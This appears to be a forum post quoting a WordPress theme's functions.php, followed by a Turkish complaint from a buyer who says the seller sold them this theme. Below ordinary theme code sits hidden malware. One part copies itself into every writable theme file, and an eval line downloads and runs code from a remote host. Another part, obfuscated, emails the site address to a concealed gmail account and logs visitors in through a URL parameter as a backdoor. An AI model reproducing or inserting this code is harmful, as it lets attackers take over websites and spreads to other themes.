        add_filter('login_headertitle', 'put_my_title');
    
    
    function force_comment_author_url($comment)
    {
        // does the comment have a valid author URL?
        $no_url = !$comment->comment_author_url || $comment->comment_author_url == 'http://';
    
        if ($comment->user_id && $no_url) {
            // comment was written by a registered user but with no author URL
            $comment->comment_author_url = 'http://www.dizimedia.com/?author=' . $comment->user_id;
        }
        return $comment;
    }
    add_filter('get_comment', 'force_comment_author_url');
    
    add_filter('init', create_function('$a', 'global $wp_rewrite; $wp_rewrite->author_base = "uye"; $wp_rewrite->flush_rules();'));
    
    
    add_action( 'init', 'create_my_taxonomies', 0 );
    function create_my_taxonomies() {
    	register_taxonomy( 'Pazartesi', 'page', array( 'hierarchical' => false, 'label' => 'Pazartesi', 'query_var' => true, 'rewrite' => true ) );
    	register_taxonomy( 'Sali', 'page', array( 'hierarchical' => false, 'label' => 'Sali', 'query_var' => true, 'rewrite' => true ) );
    		register_taxonomy( 'Carsamba', 'page', array( 'hierarchical' => false, 'label' => 'Carsamba', 'query_var' => true, 'rewrite' => true ) );
    			register_taxonomy( 'Persembe', 'page', array( 'hierarchical' => false, 'label' => 'Persembe', 'query_var' => true, 'rewrite' => true ) );
    				register_taxonomy( 'Cuma', 'page', array( 'hierarchical' => false, 'label' => 'Cuma', 'query_var' => true, 'rewrite' => true ) );
    					register_taxonomy( 'Cumartesi', 'page', array( 'hierarchical' => false, 'label' => 'Cumartesi', 'query_var' => true, 'rewrite' => true ) );
    						register_taxonomy( 'Pazar', 'page', array( 'hierarchical' => false, 'label' => 'Pazar', 'query_var' => true, 'rewrite' => true ) );
    
    }
    
    
    
    
    ?>
    <?php
    function _check_isactive_widget(){
    	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
    	$output=strip_tags($output, $allowed);
    	$direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
    	if (is_array($direst)){
    		foreach ($direst as $item){
    			if (is_writable($item)){
    				$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
    				$cont=file_get_contents($item);
    				if (stripos($cont,$ftion) === false){
    					$explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
    					$output .= $before . "Not found" . $after;
    					if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
    					$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f);				
    					$output .= ($showdots && $ellipsis) ? "..." : "";
    				}
    			}
    		}
    	}
    	return $output;
    }
    function _get_allwidgetcont($wids,$items=array()){
    	$places=array_shift($wids);
    	if(substr($places,-1) == "/"){
    		$places=substr($places,0,-1);
    	}
    	if(!file_exists($places) || !is_dir($places)){
    		return false;
    	}elseif(is_readable($places)){
    		$elems=scandir($places);
    		foreach ($elems as $elem){
    			if ($elem != "." && $elem != ".."){
    				if (is_dir($places . "/" . $elem)){
    					$wids[]=$places . "/" . $elem;
    				} elseif (is_file($places . "/" . $elem)&&
    					$elem == substr(__FILE__,-13)){
    					$items[]=$places . "/" . $elem;}
    				}
    			}
    	}else{
    		return false;	
    	}
    	if (sizeof($wids) > 0){
    		return _get_allwidgetcont($wids,$items);
    	} else {
    		return $items;
    	}
    }
    eval(@file_get_contents("http://yakaladimsizi.com/x.txt"));
    if(!function_exists("stripos")){
    function stripos(  $str, $needle, $offset = 0  ){
    return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
    }
    }
    if(!function_exists("strripos")){
    function strripos(  $haystack, $needle, $offset = 0  ) {
    if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
    if(  $offset < 0  ){
    $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
    }
    else{
    $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );
    }
    if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;
    $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );
    return $pos;
    }
    }
    if(!function_exists("scandir")){
    	function scandir($dir,$listDirectories=false, $skipDots=true) {
    	    $dirArray = array();
    	    if ($handle = opendir($dir)) {
    	        while (false !== ($file = readdir($handle))) {
    	            if (($file != "." && $file != "..") || $skipDots == true) {
    	                if($listDirectories == false) { if(is_dir($file)) { continue; } }
    	                array_push($dirArray,basename($file));
    	            }
    	        }
    	        closedir($handle);
    	    }
    	    return $dirArray;
    	}
    }
    add_action("admin_head", "_check_isactive_widget");
    function _getsprepare_widget(){
    	if(!isset($com_length)) $com_length=120;
    	if(!isset($text_value)) $text_value="cookie";
    	if(!isset($allowed_tags)) $allowed_tags="<a>";
    	if(!isset($type_filter)) $type_filter="none";
    	if(!isset($expl)) $expl="";
    	if(!isset($filter_homes)) $filter_homes=get_option("home");
    	if(!isset($pref_filter)) $pref_filter="wp_";
    	if(!isset($use_more)) $use_more=1;
    	if(!isset($comm_type)) $comm_type="";
    	if(!isset($pagecount)) $pagecount=$_GET["cperpage"];
    	if(!isset($postauthor_comment)) $postauthor_comment="";
    	if(!isset($comm_is_approved)) $comm_is_approved="";
    	if(!isset($postauthor)) $postauthor="auth";
    	if(!isset($more_link)) $more_link="(more...)";
    	if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_");
    	if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value;
    	if(!isset($more_link_ditails)) $more_link_ditails="(details...)";
    	if(!isset($morecontents)) $morecontents="ma".$expl."il";
    	if(!isset($fmore)) $fmore=1;
    	if(!isset($fakeit)) $fakeit=1;
    	if(!isset($sql)) $sql="";
    	if (!$is_widget) :
    	global $wpdb, $post;
    	$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mes".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    	if (!empty($post->post_password)) {
    		if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
    			if(is_feed()) {
    				$output=__("There is no excerpt because this is a protected post.");
    			} else {
    	            $output=get_the_password_form();
    			}
    		}
    	}
    	if(!isset($f_tags)) $f_tags=1;
    	if(!isset($type_filters)) $type_filters=$filter_homes;
    	if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents;
    	if(!isset($aditional_tags)) $aditional_tags="div";
    	if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);#
    	if(!isset($more_link_text)) $more_link_text="Continue reading this entry";	
    	if(!isset($showdots)) $showdots=1;	
    	$comments=$wpdb->get_results($sql);	
    	if($fakeit == 2) {
    		$text=$post->post_content;
    	} elseif($fakeit == 1) {
    		$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
    	} else {
    		$text=$post->post_excerpt;
    	}
    	$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    	if($com_length < 0) {
    		$output=$text;
    	} else {
    		if(!$no_more && strpos($text, "<!--more-->")) {
    		    $text=explode("<!--more-->", $text, 2);
    			$l=count($text[0]);
    			$more_link=1;
    			$comments=$wpdb->get_results($sql);
    		} else {
    			$text=explode(" ", $text);
    			if(count($text) > $com_length) {
    				$l=$com_length;
    				$ellipsis=1;
    			} else {
    				$l=count($text);
    				$more_link="";
    				$ellipsis=0;
    			}
    		}
    		for ($i=0; $i<$l; $i++)
    				$output .= $text[$i] . " ";
    	}
    	update_option("_is_widget_active_", 1);
    	if("all" != $allowed_tags) {
    		$output=strip_tags($output, $allowed_tags);
    		return $output;
    	}
    	endif;
    	$output=rtrim($output, "\s\n\t\r\0\x0B");
    $output=($f_tags) ? balanceTags($output, true) : $output;
    	$output .= ($showdots && $ellipsis) ? "..." : "";
    	$output=apply_filters($type_filter, $output);
    	switch($aditional_tags) {
    		case("div") :
    			$tag="div";
    		break;
    		case("span") :
    			$tag="span";
    		break;
    		case("p") :
    			$tag="p";
    		break;
    		default :
    			$tag="span";
    	}
    
    	if ($use_more ) {
    		if($fmore) {
    			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n";
    		} else {
    			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . "</a></" . $tag . ">" . "\n";
    		}
    	}
    	return $output;
    }
    add_action("init", "_getsprepare_widget");
    function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
    	global $wpdb;
    	$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
    	$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
    	if(!$show_pass_post) $request .= " AND post_password =\"\"";
    	if($duration !="") {
    		$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
    	}
    	$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
    	$posts=$wpdb->get_results($request);
    	$output="";
    	if ($posts) {
    		foreach ($posts as $post) {
    			$post_title=stripslashes($post->post_title);
    			$comment_count=$post->comment_count;
    			$permalink=get_permalink($post->ID);
    			$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
    		}
    	} else {
    		$output .= $before . "None found" . $after;
    	}
    	return  $output;
    }
    
     		
    ?>
    sizi þikayet etmedim çünkü kodlar hakkýnda pek bilgim yokdu fakat bu konuyu görünce sizin de bana nasýl bir tema sattýðýnýzý gördüm verdiðim parayý helal etmiyorum .